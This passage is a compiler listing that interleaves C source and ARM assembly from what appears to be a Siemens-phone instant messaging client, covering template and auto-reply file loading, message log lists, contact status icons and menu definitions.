c=*p; 2032 if (c<32) 2033 { 2034 if (pp&&(pp!=p)) 2035 { 2036 templates_lines=realloc(templates_lines,(i+1)*sizeof(char *)); 2037 templates_lines[i++]=pp; 2038 } 2039 pp=NULL; 2040 if (!c) break; 2041 *p=0; 2042 } 2043 else 2044 { 2045 if (pp==NULL) pp=p; \ ??LoadTemplates_7: \ 00000138 000058E3 CMP R8,#+0 \ 0000013C 0680A001 MOVEQ R8,R6 2046 } 2047 p++; \ ??LoadTemplates_8: \ 00000140 016086E2 ADD R6,R6,#+1 \ ??LoadTemplates_6: \ 00000144 0090D6E5 LDRB R9,[R6, #+0] \ 00000148 200059E3 CMP R9,#+32 \ 0000014C F9FFFFAA BGE ??LoadTemplates_7 \ 00000150 000058E3 CMP R8,#+0 \ 00000154 06005811 CMPNE R8,R6 \ 00000158 0600000A BEQ ??LoadTemplates_9 \ 0000015C D80294E5 LDR R0,[R4, #+728] \ 00000160 01A087E2 ADD R10,R7,#+1 \ 00000164 0A11A0E1 LSL R1,R10,#+2 \ 00000168 BA0000EF SWI +186 \ 0000016C D80284E5 STR R0,[R4, #+728] \ 00000170 078180E7 STR R8,[R0, +R7, LSL #+2] \ 00000174 0A70A0E1 MOV R7,R10 \ ??LoadTemplates_9: \ 00000178 0080A0E3 MOV R8,#+0 \ 0000017C 000059E3 CMP R9,#+0 2048 } 2049 return i; \ 00000180 0700A001 MOVEQ R0,R7 \ 00000184 CDFFFF0A BEQ ??LoadTemplates_5 \ 00000188 0050C6E5 STRB R5,[R6, #+0] \ 0000018C EBFFFFEA B ??LoadTemplates_8 \ ??LoadTemplates_0: \ 00000190 ........ DC32 `?` 2050 } 2051 2052 2053 2054 //---------------------- AUTOBOT MESSAGE -------------------------// 2055 2056 2057 #ifdef kluchnik 2058 char *bot_chars; //Собственно файл 2059 char **bot_lines; //Массив указателей на строки 2060 \ In segment CODE, align 4, keep-with-next 2061 void FreeBotMessage(void) 2062 { \ FreeBotMessage: \ 00000000 10402DE9 PUSH {R4,LR} 2063 if (bot_lines) mfree(bot_lines); \ 00000004 ........ LDR R4,??DataTable42 ;; S_ICONS \ 00000008 E00294E5 LDR R0,[R4, #+736] \ 0000000C 000050E3 CMP R0,#+0 \ 00000010 0000000A BEQ ??FreeBotMessage_0 \ 00000014 150000EF SWI +21 2064 if (bot_chars) mfree(bot_chars); \ ??FreeBotMessage_0: \ 00000018 DC0294E5 LDR R0,[R4, #+732] \ 0000001C 000050E3 CMP R0,#+0 \ 00000020 0100000A BEQ ??FreeBotMessage_1 \ 00000024 150000EF SWI +21 2065 bot_lines=NULL; \ 00000028 0000A0E3 MOV R0,#+0 \ ??FreeBotMessage_1: \ 0000002C E00284E5 STR R0,[R4, #+736] 2066 bot_chars=NULL; \ 00000030 DC0284E5 STR R0,[R4, #+732] 2067 } \ 00000034 1080BDE8 POP {R4,PC} ;; return 2068 \ In segment CODE, align 4, keep-with-next 2069 int LoadBotMessage(unsigned int uin) 2070 { \ LoadBotMessage: \ 00000000 F0472DE9 PUSH {R4-R10,LR} 2071 FSTATS stat; 2072 char fn[256]; 2073 int f; 2074 unsigned int ul; 2075 int i; 2076 int fsize; 2077 char *p; 2078 char *pp; 2079 int c; 2080 FreeBotMessage(); 2081 strcpy(fn,TEMPLATES_PATH); \ 00000004 ........ LDR R4,??DataTable42 ;; S_ICONS \ 00000008 4BDF4DE2 SUB SP,SP,#+300 \ 0000000C 0050A0E1 MOV R5,R0 \ 00000010 ........ BL FreeBotMessage \ 00000014 EC00A0E3 MOV R0,#+236 \ 00000018 C00E80E3 ORR R0,R0,#0xC00 \ 0000001C 041080E0 ADD R1,R0,R4 \ 00000020 2C008DE2 ADD R0,SP,#+44 \ 00000024 1A0000EF SWI +26 2082 i=strlen(fn); \ 00000028 2C008DE2 ADD R0,SP,#+44 \ 0000002C 1B0000EF SWI +27 \ 00000030 0070A0E1 MOV R7,R0 2083 sprintf(fn+i,"\\bot_%d.txt",uin); \ 00000034 2C008DE2 ADD R0,SP,#+44 \ 00000038 006087E0 ADD R6,R7,R0 \ 0000003C 4C719FE5 LDR R7,??LoadBotMessage_0 ;; `?` \ 00000040 0520A0E1 MOV R2,R5 \ 00000044 0C1087E2 ADD R1,R7,#+12 \ 00000048 0600A0E1 MOV R0,R6 \ 0000004C 160000EF SWI +22 2084 if (GetFileStats(fn,&stat,&ul)==-1) goto L1; \ 00000050 0050E0E3 MVN R5,#+0 \ 00000054 0D20A0E1 MOV R2,SP \ 00000058 04108DE2 ADD R1,SP,#+4 \ 0000005C 2C008DE2 ADD R0,SP,#+44 \ 00000060 840000EF SWI +132 \ 00000064 050050E1 CMP R0,R5 \ 00000068 0A00000A BEQ ??LoadBotMessage_1 2085 if ((fsize=stat.size)<=0) goto L1; \ 0000006C 08809DE5 LDR R8,[SP, #+8] \ 00000070 010058E3 CMP R8,#+1 \ 00000074 070000BA BLT ??LoadBotMessage_1 2086 if ((f=fopen(fn,A_ReadOnly+A_BIN,P_READ,&ul))==-1) \ 00000078 0D30A0E1 MOV R3,SP \ 0000007C 8020A0E3 MOV R2,#+128 \ 00000080 801CA0E3 MOV R1,#+32768 \ 00000084 2C008DE2 ADD R0,SP,#+44 \ 00000088 0A0000EF SWI +10 \ 0000008C 0090A0E1 MOV R9,R0 \ 00000090 050059E1 CMP R9,R5 \ 00000094 1400001A BNE ??LoadBotMessage_2 2087 { 2088 L1: 2089 strcpy(fn+i,"\\bot.txt"); \ ??LoadBotMessage_1: \ 00000098 0710A0E1 MOV R1,R7 \ 0000009C 0600A0E1 MOV R0,R6 \ 000000A0 1A0000EF SWI +26 2090 if (GetFileStats(fn,&stat,&ul)==-1) return 0; \ 000000A4 0D20A0E1 MOV R2,SP \ 000000A8 04108DE2 ADD R1,SP,#+4 \ 000000AC 2C008DE2 ADD R0,SP,#+44 \ 000000B0 840000EF SWI +132 \ 000000B4 050050E1 CMP R0,R5 \ 000000B8 0200001A BNE ??LoadBotMessage_3 \ ??LoadBotMessage_4: \ 000000BC 0000A0E3 MOV R0,#+0 \ ??LoadBotMessage_5: \ 000000C0 4BDF8DE2 ADD SP,SP,#+300 ;; stack cleaning \ 000000C4 F087BDE8 POP {R4-R10,PC} ;; return 2091 if ((fsize=stat.size)<=0) return 0; \ ??LoadBotMessage_3: \ 000000C8 08809DE5 LDR R8,[SP, #+8] \ 000000CC 010058E3 CMP R8,#+1 \ 000000D0 F9FFFFBA BLT ??LoadBotMessage_4 2092 f=fopen(fn,A_ReadOnly+A_BIN,P_READ,&ul); \ 000000D4 0D30A0E1 MOV R3,SP \ 000000D8 8020A0E3 MOV R2,#+128 \ 000000DC 801CA0E3 MOV R1,#+32768 \ 000000E0 2C008DE2 ADD R0,SP,#+44 \ 000000E4 0A0000EF SWI +10 \ 000000E8 0090A0E1 MOV R9,R0 2093 } 2094 if (f==-1) return 0; \ ??LoadBotMessage_2: \ 000000EC 050059E1 CMP R9,R5 \ 000000F0 F1FFFF0A BEQ ??LoadBotMessage_4 2095 p=bot_chars=malloc(fsize+1); \ 000000F4 010088E2 ADD R0,R8,#+1 \ 000000F8 140000EF SWI +20 \ 000000FC DC0284E5 STR R0,[R4, #+732] \ 00000100 0060A0E1 MOV R6,R0 2096 p[fread(f,p,fsize,&ul)]=0; \ 00000104 0050A0E3 MOV R5,#+0 \ 00000108 0D30A0E1 MOV R3,SP \ 0000010C 0820A0E1 MOV R2,R8 \ 00000110 0610A0E1 MOV R1,R6 \ 00000114 0900A0E1 MOV R0,R9 \ 00000118 0B0000EF SWI +11 \ 0000011C 0650C0E7 STRB R5,[R0, +R6] 2097 fclose(f,&ul); \ 00000120 0D10A0E1 MOV R1,SP \ 00000124 0900A0E1 MOV R0,R9 \ 00000128 0D0000EF SWI +13 2098 i=0; \ 0000012C 0070A0E3 MOV R7,#+0 2099 pp=p; \ 00000130 0680A0E1 MOV R8,R6 \ 00000134 020000EA B ??LoadBotMessage_6 2100 for(;;) 2101 { 2102 c=*p; 2103 if (c<32) 2104 { 2105 if (pp&&(pp!=p)) 2106 { 2107 bot_lines=realloc(bot_lines,(i+1)*sizeof(char *)); 2108 bot_lines[i++]=pp; 2109 } 2110 pp=NULL; 2111 if (!c) break; 2112 *p=0; 2113 } 2114 else 2115 { 2116 if (pp==NULL) pp=p; \ ??LoadBotMessage_7: \ 00000138 000058E3 CMP R8,#+0 \ 0000013C 0680A001 MOVEQ R8,R6 2117 } 2118 p++; \ ??LoadBotMessage_8: \ 00000140 016086E2 ADD R6,R6,#+1 \ ??LoadBotMessage_6: \ 00000144 0090D6E5 LDRB R9,[R6, #+0] \ 00000148 200059E3 CMP R9,#+32 \ 0000014C F9FFFFAA BGE ??LoadBotMessage_7 \ 00000150 000058E3 CMP R8,#+0 \ 00000154 06005811 CMPNE R8,R6 \ 00000158 0600000A BEQ ??LoadBotMessage_9 \ 0000015C E00294E5 LDR R0,[R4, #+736] \ 00000160 01A087E2 ADD R10,R7,#+1 \ 00000164 0A11A0E1 LSL R1,R10,#+2 \ 00000168 BA0000EF SWI +186 \ 0000016C E00284E5 STR R0,[R4, #+736] \ 00000170 078180E7 STR R8,[R0, +R7, LSL #+2] \ 00000174 0A70A0E1 MOV R7,R10 \ ??LoadBotMessage_9: \ 00000178 0080A0E3 MOV R8,#+0 \ 0000017C 000059E3 CMP R9,#+0 2119 } 2120 return i; \ 00000180 0700A001 MOVEQ R0,R7 \ 00000184 CDFFFF0A BEQ ??LoadBotMessage_5 \ 00000188 0050C6E5 STRB R5,[R6, #+0] \ 0000018C EBFFFFEA B ??LoadBotMessage_8 \ ??LoadBotMessage_0: \ 00000190 ........ DC32 `?` 2121 } 2122 #endif 2123 2124 //=================================================================== 2125 2126 typedef struct 2127 { 2128 CSM_RAM csm; 2129 int gui_id; 2130 }MAIN_CSM; 2131 2132 typedef struct 2133 { 2134 GUI gui; 2135 WSHDR *ws1; 2136 WSHDR *ws2; 2137 int i1; 2138 }MAIN_GUI; 2139 2140 2141 2142 int RXstate=EOP; //-sizeof(RXpkt)..-1 - receive header, 0..RXpkt.data_len - receive data 2143 \ In segment DATA_Z, align 4, align-sorted 2144 TPKT RXbuf; \ RXbuf: \ 00000000 DS8 16392 \ In segment DATA_Z, align 4, align-sorted 2145 TPKT TXbuf; \ TXbuf: \ 00000000 DS8 16392 2146 2147 int connect_state=0; 2148 2149 int sock=-1; 2150 2151 volatile unsigned long TOTALRECEIVED; 2152 volatile unsigned long TOTALSENDED; 2153 volatile unsigned long ALLTOTALRECEIVED; //by BoBa 10.07 2154 volatile unsigned long ALLTOTALSENDED; 2155 2156 volatile int sendq_l=0; //Длинна очереди для send 2157 volatile void *sendq_p=NULL; //указатель очереди 2158 2159 volatile int is_gprs_online=1; 2160 2161 GBSTMR reconnect_tmr; 2162 2163 extern void kill_data(void *p,void (*func_p)(void *)); 2164 \ In segment CODE, align 4, keep-with-next 2165 void ElfKiller(void) 2166 { \ ElfKiller: \ 00000000 00402DE9 PUSH {LR} 2167 PrintLibFree(); \ 00000004 ........ _BLF PrintLibFree,??PrintLibFree??rA 2168 extern void *ELF_BEGIN; 2169 kill_data(&ELF_BEGIN,(void (*)(void *))mfree_adr()); \ 00000008 158000EF SWI +32789 \ 0000000C 0010A0E1 MOV R1,R0 \ 00000010 04009FE5 LDR R0,??ElfKiller_0 ;; ELF_BEGIN \ 00000014 0040BDE8 POP {LR} ;; Pop \ 00000018 ........ _BF kill_data,??kill_data??rA ;; tailcall \ ??ElfKiller_0: \ 0000001C ........ DC32 ELF_BEGIN 2170 } 2171 2172 int total_unread; //2058 - tam tak /windes 2173 2174 volatile CLIST *cltop; 2175 2176 volatile unsigned int GROUP_CACHE; //Текущая группа для добавления 2177 2178 volatile int contactlist_menu_id; 2179 2180 GBSTMR tmr_active; 2181 2182 volatile int edchat_id; 2183 2184 //Применяется для добавления сообщений 2185 //CLIST *edcontact; 2186 //void *edgui_data; 2187 2188 static int prev_clmenu_itemcount; 2189 2190 char clm_hdr_text[64]; 2191 static const char def_clm_hdr_text[] = LG_CLTITLE; 2192 static const char key_clm_hdr_text[] = LG_CLT9INP; 2193 #ifdef kluchnik 2194 int ICON_HD; 2195 static const HEADER_DESC contactlist_menuhdr = {0, 0, 0, 0, S_ICONS+IS_NULLICON, (int)clm_hdr_text, LGP_NULL}; 2196 #else 2197 static const HEADER_DESC contactlist_menuhdr = {0, 0, 0, 0, S_ICONS+ICON_HEAD, (int)clm_hdr_text, LGP_NULL}; 2198 #endif 2199 2200 static const int menusoftkeys[] = {0,1,2}; 2201 static const SOFTKEY_DESC menu_sk[] = 2202 { 2203 {0x0018, 0x0000, (int)LG_SELECT}, 2204 {0x0001, 0x0000, (int)LG_CLOSE}, 2205 {0x003D, 0x0000, (int)LGP_DOIT_PIC} 2206 }; 2207 2208 char clmenu_sk_r[16]; 2209 static const char def_clmenu_sk_r[] = LG_CLOSE; 2210 static const char key_clmenu_sk_r[] = LG_CLEAR; 2211 2212 static const SOFTKEY_DESC clmenu_sk[]= 2213 { 2214 {0x0018, 0x0000, (int)LG_OPTIONS}, 2215 {0x0001, 0x0000, (int)clmenu_sk_r}, 2216 {0x003D, 0x0000, (int)LGP_DOIT_PIC} 2217 }; 2218 2219 const SOFTKEYSTAB menu_skt = 2220 { 2221 menu_sk, 0 2222 }; 2223 2224 static const SOFTKEYSTAB clmenu_skt = 2225 { 2226 clmenu_sk, 0 2227 }; 2228 2229 void contactlist_menu_ghook(void *data, int cmd); 2230 int contactlist_menu_onkey(void *data, GUI_MSG *msg); 2231 void contactlist_menu_iconhndl(void *data, int curitem, void *unk); 2232 2233 #ifdef USE_MLMENU 2234 static const ML_MENU_DESC contactlist_menu= 2235 { 2236 8,contactlist_menu_onkey,contactlist_menu_ghook,NULL, 2237 menusoftkeys, 2238 &clmenu_skt, 2239 0x11, //+0x400 2240 contactlist_menu_iconhndl, 2241 NULL, //Items 2242 NULL, //Procs 2243 0, //n 2244 1 //Добавочных строк 2245 }; 2246 #else 2247 static const MENU_DESC contactlist_menu= 2248 { 2249 8,contactlist_menu_onkey,contactlist_menu_ghook,NULL, 2250 menusoftkeys, 2251 &clmenu_skt, 2252 0x11, //+0x400 2253 contactlist_menu_iconhndl, 2254 NULL, //Items 2255 NULL, //Procs 2256 0 //n 2257 }; 2258 #endif 2259 2260 //GBSTMR tmr_ping; 2261 int tenseconds_to_ping; 2262 \ In segment CODE, align 4, keep-with-next 2263 LOGQ *NewLOGQ(const char *s) 2264 { \ NewLOGQ: \ 00000000 30402DE9 PUSH {R4,R5,LR} \ 00000004 0040A0E1 MOV R4,R0 2265 LOGQ *p=malloc(sizeof(LOGQ)+1+strlen(s)); \ 00000008 1B0000EF SWI +27 \ 0000000C 610080E2 ADD R0,R0,#+97 \ 00000010 140000EF SWI +20 \ 00000014 0050A0E1 MOV R5,R0 2266 zeromem(p,sizeof(LOGQ)); \ 00000018 6010A0E3 MOV R1,#+96 \ 0000001C 1D0100EF SWI +285 2267 strcpy(p->text,s); \ 00000020 0410A0E1 MOV R1,R4 \ 00000024 600085E2 ADD R0,R5,#+96 \ 00000028 1A0000EF SWI +26 2268 return p; \ 0000002C 0500A0E1 MOV R0,R5 \ 00000030 3080BDE8 POP {R4,R5,PC} ;; return 2269 } 2270 \ In segment CODE, align 4, keep-with-next 2271 LOGQ *LastLOGQ(LOGQ **pp) 2272 { 2273 LOGQ *q=*pp; \ LastLOGQ: \ 00000000 000090E5 LDR R0,[R0, #+0] 2274 if (q) \ 00000004 000050E3 CMP R0,#+0 \ 00000008 1EFF2F01 BXEQ LR \ 0000000C 000000EA B ??LastLOGQ_0 2275 { 2276 while(q->next) q=q->next; \ ??LastLOGQ_1: \ 00000010 0100A0E1 MOV R0,R1 \ ??LastLOGQ_0: \ 00000014 001090E5 LDR R1,[R0, #+0] \ 00000018 000051E3 CMP R1,#+0 \ 0000001C FBFFFF1A BNE ??LastLOGQ_1 2277 } 2278 return(q); \ 00000020 1EFF2FE1 BX LR ;; return 2279 } 2280 2281 //Уничтожить лог \ In segment CODE, align 4, keep-with-next 2282 void FreeLOGQ(LOGQ **pp) 2283 { \ FreeLOGQ: \ 00000000 10402DE9 PUSH {R4,LR} \ 00000004 0010A0E1 MOV R1,R0 2284 LOGQ *p=*pp; \ 00000008 000091E5 LDR R0,[R1, #+0] 2285 *pp=NULL; //Сразу обрежем \ 0000000C 0020A0E3 MOV R2,#+0 \ 00000010 002081E5 STR R2,[R1, #+0] \ 00000014 000050E3 CMP R0,#+0 \ 00000018 1080BD08 POPEQ {R4,PC} 2286 while(p) 2287 { 2288 LOGQ *np=p->next; \ ??FreeLOGQ_0: \ 0000001C 004090E5 LDR R4,[R0, #+0] 2289 mfree(p); \ 00000020 150000EF SWI +21 2290 p=np; \ 00000024 0400B0E1 MOVS R0,R4 2291 } \ 00000028 FBFFFF1A BNE ??FreeLOGQ_0 2292 } \ 0000002C 1080BDE8 POP {R4,PC} ;; return 2293 2294 //Удалить элемент из лога \ In segment CODE, align 4, keep-with-next 2295 void RemoveLOGQ(LOGQ **queue, LOGQ *p) 2296 { \ RemoveLOGQ: \ 00000000 00402DE9 PUSH {LR} 2297 LOGQ *q=(LOGQ *)queue; \ 00000004 000000EA B ??RemoveLOGQ_0 2298 LOGQ *qp; 2299 while(qp=q->next) 2300 { 2301 if (qp==p) 2302 { 2303 q->next=p->next; 2304 break; 2305 } 2306 q=qp; \ ??RemoveLOGQ_1: \ 00000008 0200A0E1 MOV R0,R2 \ ??RemoveLOGQ_0: \ 0000000C 002090E5 LDR R2,[R0, #+0] \ 00000010 000052E3 CMP R2,#+0 \ 00000014 0300000A BEQ ??RemoveLOGQ_2 \ 00000018 010052E1 CMP R2,R1 \ 0000001C F9FFFF1A BNE ??RemoveLOGQ_1 \ 00000020 002091E5 LDR R2,[R1, #+0] \ 00000024 002080E5 STR R2,[R0, #+0] 2307 } 2308 mfree(p); //Если элемент вообще не в логе \ ??RemoveLOGQ_2: \ 00000028 0100A0E1 MOV R0,R1 \ 0000002C 150000EF SWI +21 2309 } \ 00000030 0080BDE8 POP {PC} ;; return 2310 2311 //Добавить элемент в лог \ In segment CODE, align 4, keep-with-next 2312 int AddLOGQ(LOGQ **queue, LOGQ *p) 2313 { 2314 LOGQ *q=(LOGQ *)queue; 2315 LOGQ *qp; 2316 int i=0; \ AddLOGQ: \ 00000000 0020A0E3 MOV R2,#+0 \ 00000004 000000EA B ??AddLOGQ_0 2317 while(qp=q->next) {q=qp;i++;} \ ??AddLOGQ_1: \ 00000008 0300A0E1 MOV R0,R3 \ ??AddLOGQ_0: \ 0000000C 003090E5 LDR R3,[R0, #+0] \ 00000010 012082E2 ADD R2,R2,#+1 \ 00000014 000053E3 CMP R3,#+0 \ 00000018 FAFFFF1A BNE ??AddLOGQ_1 2318 p->next=NULL; \ 0000001C 003081E5 STR R3,[R1, #+0] 2319 q->next=p; \ 00000020 001080E5 STR R1,[R0, #+0] 2320 return(i+1); //Теперь всего в логе элементов \ 00000024 0200A0E1 MOV R0,R2 \ 00000028 1EFF2FE1 BX LR ;; return 2321 } 2322 \ In segment CODE, align 4, keep-with-next 2323 char *GetLastXTextLOGQ(CLIST *t) 2324 { 2325 LOGQ *p = t->log; \ GetLastXTextLOGQ: \ 00000000 8C1090E5 LDR R1,[R0, #+140] 2326 char *s = 0; \ 00000004 0000A0E3 MOV R0,#+0 2327 if(!p) return 0; \ 00000008 000051E3 CMP R1,#+0 \ 0000000C 0500001A BNE ??GetLastXTextLOGQ_0 \ 00000010 1EFF2FE1 BX LR 2328 while(p->next) 2329 { 2330 if((p->type&0x0F)==3) \ ??GetLastXTextLOGQ_1: \ 00000014 0C3091E5 LDR R3,[R1, #+12] \ 00000018 0F3003E2 AND R3,R3,#0xF \ 0000001C 030053E3 CMP R3,#+3 2331 s = p->text; \ 00000020 60008102 ADDEQ R0,R1,#+96 2332 p = p->next; \ 00000024 0210A0E1 MOV R1,R2 2333 } \ ??GetLastXTextLOGQ_0: \ 00000028 002091E5 LDR R2,[R1, #+0] \ 0000002C 000052E3 CMP R2,#+0 \ 00000030 F7FFFF1A BNE ??GetLastXTextLOGQ_1 2334 if((p->type&0x0F)==3) \ 00000034 0C2091E5 LDR R2,[R1, #+12] \ 00000038 0F2002E2 AND R2,R2,#0xF \ 0000003C 030052E3 CMP R2,#+3 2335 s = p->text; \ 00000040 60008102 ADDEQ R0,R1,#+96 2336 return s; \ 00000044 1EFF2FE1 BX LR ;; return 2337 } 2338 \ In segment CODE, align 4, keep-with-next 2339 int GetIconIndex(CLIST *t) 2340 { 2341 unsigned short s; 2342 if (t) \ GetIconIndex: \ 00000000 000050E3 CMP R0,#+0 \ 00000004 3400000A BEQ ??GetIconIndex_0 2343 { 2344 s=t->state; 2345 if (t->isgroup) return(IS_GROUP); \ 00000008 082090E5 LDR R2,[R0, #+8] \ 0000000C B415D0E1 LDRH R1,[R0, #+84] \ 00000010 000052E3 CMP R2,#+0 \ 00000014 0F00A013 MOVNE R0,#+15 \ 00000018 1EFF2F11 BXNE LR 2346 if (t->isunread) \ 0000001C 7C0090E5 LDR R0,[R0, #+124] \ 00000020 000050E3 CMP R0,#+0 2347 return(IS_MSG); \ 00000024 0D00A013 MOVNE R0,#+13 \ 00000028 1EFF2F11 BXNE LR 2348 else 2349 { 2350 if (s==0xFFFF) return(IS_OFFLINE); \ 0000002C FF20A0E3 MOV R2,#+255 \ 00000030 FF2C82E3 ORR R2,R2,#0xFF00 \ 00000034 020051E1 CMP R1,R2 \ 00000038 1EFF2F01 BXEQ LR 2351 if ((s&0xF000)==0x2000) return (IS_LUNCH); \ 0000003C F02C01E2 AND R2,R1,#0xF000 \ 00000040 800D52E3 CMP R2,#+8192 \ 00000044 0900A003 MOVEQ R0,#+9 \ 00000048 1EFF2F01 BXEQ LR 2352 if ((s&0xF000)==0x3000) return (IS_EVIL); \ 0000004C C00D52E3 CMP R2,#+12288 \ 00000050 0700A003 MOVEQ R0,#+7 \ 00000054 1EFF2F01 BXEQ LR 2353 if ((s&0xF000)==0x4000) return (IS_DEPRESSION); \ 00000058 400C52E3 CMP R2,#+16384 \ 0000005C 0600A003 MOVEQ R0,#+6 \ 00000060 1EFF2F01 BXEQ LR 2354 if ((s&0xF000)==0x5000) return (IS_HOME); \ 00000064 500C52E3 CMP R2,#+20480 \ 00000068 0800A003 MOVEQ R0,#+8 \ 0000006C 1EFF2F01 BXEQ LR 2355 if ((s&0xF000)==0x6000) return (IS_WORK); \ 00000070 F00C01E2 AND R0,R1,#0xF000 \ 00000074 600C50E3 CMP R0,#+24576 \ 00000078 0A00A003 MOVEQ R0,#+10 \ 0000007C 1EFF2F01 BXEQ LR 2356 if (s & 0x0020) return(IS_FFC); \ 00000080 200011E3 TST R1,#0x20 \ 00000084 0100000A BEQ ??GetIconIndex_1 \ ??GetIconIndex_2: \ 00000088 0C00A0E3 MOV R0,#+12 \ 0000008C 1EFF2FE1 BX LR 2357 if (s & 0x0001) return(IS_AWAY); \ ??GetIconIndex_1: \ 00000090 010011E3 TST R1,#0x1 \ 00000094 0200A013 MOVNE R0,#+2 \ 00000098 1EFF2F11 BXNE LR 2358 if (s & 0x0005) return(IS_NA); \ 0000009C 050011E3 TST R1,#0x5 \ 000000A0 0300A013 MOVNE R0,#+3 \ 000000A4 1EFF2F11 BXNE LR 2359 if (s & 0x0011) return(IS_OCCUPIED); \ 000000A8 110011E3 TST R1,#0x11 \ 000000AC 0400A013 MOVNE R0,#+4 \ 000000B0 1EFF2F11 BXNE LR 2360 if (s & 0x0013) return(IS_DND); \ 000000B4 130011E3 TST R1,#0x13 \ 000000B8 0500A013 MOVNE R0,#+5 \ 000000BC 1EFF2F11 BXNE LR 2361 if (s & 0x0002) return(IS_FFC); \ 000000C0 020011E3 TST R1,#0x2 \ 000000C4 EFFFFF1A BNE ??GetIconIndex_2 2362 if (s & 0x0100) return(IS_INVISIBLE); \ 000000C8 400F11E3 TST R1,#0x100 \ 000000CC 0100A013 MOVNE R0,#+1 \ 000000D0 1EFF2F11 BXNE LR 2363 } 2364 } 2365 else 2366 { 2367 return(IS_UNKNOWN); 2368 } 2369 return(IS_ONLINE); \ 000000D4 0B00A0E3 MOV R0,#+11 \ 000000D8 1EFF2FE1 BX LR \ ??GetIconIndex_0: \ 000000DC 0E00A0E3 MOV R0,#+14 \ 000000E0 1EFF2FE1 BX LR ;; return 2370 } 2371 \ In segment CODE, align 4, keep-with-next 2372 LOGQ *FindContactLOGQByAck(TPKT *p) 2373 { \ FindContactLOGQByAck: \ 00000000 30402DE9 PUSH {R4,R5,LR} \ 00000004 0040A0E1 MOV R4,R0 2374 CLIST *t; 2375 LockSched(); \ 00000008 460100EF SWI +326 2376 t=FindContactByUin(p->pkt.uin); \ 0000000C 000094E5 LDR R0,[R4, #+0] \ 00000010 ........ _BLF FindContactByUin,??FindContactByUin??rA \ 00000014 0050A0E1 MOV R5,R0 2377 UnlockSched(); \ 00000018 470100EF SWI +327 2378 unsigned int id=*((unsigned short*)(p->data)); \ 0000001C B840D4E1 LDRH R4,[R4, #+8] 2379 LOGQ *q; 2380 if (!t) return NULL; \ 00000020 000055E3 CMP R5,#+0 \ 00000024 0000A003 MOVEQ R0,#+0 \ 00000028 3080BD08 POPEQ {R4,R5,PC} 2381 LockSched(); \ 0000002C 460100EF SWI +326 2382 q=t->log; \ 00000030 8C5095E5 LDR R5,[R5, #+140] \ 00000034 000000EA B ??FindContactLOGQByAck_0 2383 while(q) 2384 { 2385 if (q->ID==id) break; 2386 q=q->next; \ ??FindContactLOGQByAck_1: \ 00000038 005095E5 LDR R5,[R5, #+0] \ ??FindContactLOGQByAck_0: \ 0000003C 000055E3 CMP R5,#+0 \ 00000040 08009515 LDRNE R0,[R5, #+8] \ 00000044 04005011 CMPNE R0,R4 \ 00000048 FAFFFF1A BNE ??FindContactLOGQByAck_1 2387 } 2388 UnlockSched(); \ 0000004C 470100EF SWI +327 2389 return q; \ 00000050 0500A0E1 MOV R0,R5 \ 00000054 3080BDE8 POP {R4,R5,PC} ;; return 2390 } 2391 2392 GBSTMR statusTmr; 2393 2394 char ContactT9Key[32]; 2395 int kopa_online; 2396 int kopa_kontaktu; 2397 char status[64]; 2398 /* 2399 void DrawStatusBar() 2400 { 2401 // PrintText( int x, int y, char *str, int align, int font, int space, int lineSpace, int isScroll, short fixSize, int maxLen); 2402 // if(TIME_OR_MSG==4) 2403 if(contactlist_menu_id) 2404 { 2405 PrintText(33,YDISP+2,status,0,1,1,2,0,0,ScreenW()-20); 2406 } 2407 GBS_StartTimerProc(&statusTmr,120,DrawStatusBar); 2408 } 2409 */ 2410 #define nmeth 24 2411 2412 void * gui_methods2[nmeth]; 2413 void * old_redraw; 2414 2415 typedef void (*tredraw)(void *data); 2416 \ In segment CODE, align 4, keep-with-next 2417 void new_redraw(void *data) 2418 { \ new_redraw: \ 00000000 30402DE9 PUSH {R4,R5,LR} 2419 ((tredraw)old_redraw)(data); \ 00000004 ........ LDR R4,??DataTable43 ;; S_ICONS \ 00000008 40D04DE2 SUB SP,SP,#+64 \ 0000000C 941394E5 LDR R1,[R4, #+916] \ 00000010 31FF2FE1 BLX R1 2420 char s[64]; 2421 sprintf(s,"%s\\HEAD.png",ICON_PATH); \ 00000014 D0109FE5 LDR R1,??new_redraw_1 ;; `?` \ 00000018 2C00A0E3 MOV R0,#+44 \ 0000001C D00E80E3 ORR R0,R0,#0xD00 \ 00000020 042080E0 ADD R2,R0,R4 \ 00000024 0D00A0E1 MOV R0,SP \ 00000028 160000EF SWI +22 2422 int x=GetImgWidth((int)s); \ 0000002C 0D00A0E1 MOV R0,SP \ 00000030 220000EF SWI +34 \ 00000034 0050A0E1 MOV R5,R0 2423 PrintText(x+7,YDISP+2,status,0,1,1,2,0,0,ScreenW()-20); \ 00000038 888100EF SWI +33160 \ 0000003C 140040E2 SUB R0,R0,#+20 \ 00000040 01002DE9 PUSH {R0} \ 00000044 0030A0E3 MOV R3,#+0 \ 00000048 1A10A0E3 MOV R1,#+26 \ 0000004C 0000A0E3 MOV R0,#+0 \ 00000050 01002DE9 PUSH {R0} \ 00000054 01002DE9 PUSH {R0} \ 00000058 0200A0E3 MOV R0,#+2 \ 0000005C 01002DE9 PUSH {R0} \ 00000060 0100A0E3 MOV R0,#+1 \ 00000064 01002DE9 PUSH {R0} \ 00000068 01002DE9 PUSH {R0} \ 0000006C 0400A0E3 MOV R0,#+4 \ 00000070 940D80E3 ORR R0,R0,#0x2500 \ 00000074 042080E0 ADD R2,R0,R4 \ 00000078 070085E2 ADD R0,R5,#+7 \ 0000007C ........ _BLF PrintText,??PrintText??rA 2424 #ifdef kluchnik 2425 switch(CurrentPrivateStatus) \ 00000080 CC0294E5 LDR R0,[R4, #+716] \ 00000084 18D08DE2 ADD SP,SP,#+24 \ 00000088 040050E3 CMP R0,#+4 \ 0000008C 0E00008A BHI ??new_redraw_2 \ 00000090 011F8FE2 ADR R1,??new_redraw_0 \ 00000094 0010D1E7 LDRB R1,[R1, R0] \ 00000098 01F18FE0 ADD PC,PC,R1, LSL #+2 \ ??new_redraw_0: \ 0000009C 01030507 DC8 +1,+3,+5,+7 \ 000000A0 09000000 DC8 +9,+0,+0,+0 2426 { 2427 case 0: ICON_HD=ICON_ALL_CAN_SEE; break; \ ??new_redraw_3: \ 000000A4 1700A0E3 MOV R0,#+23 \ 000000A8 080000EA B ??new_redraw_4 2428 case 1: ICON_HD=ICON_NOBODY_CAN_SEE; break; \ ??new_redraw_5: \ 000000AC 1B00A0E3 MOV R0,#+27 \ 000000B0 060000EA B ??new_redraw_4 2429 case 2: ICON_HD=ICON_VISLIST_CAN_SEE; break; \ ??new_redraw_6: \ 000000B4 1800A0E3 MOV 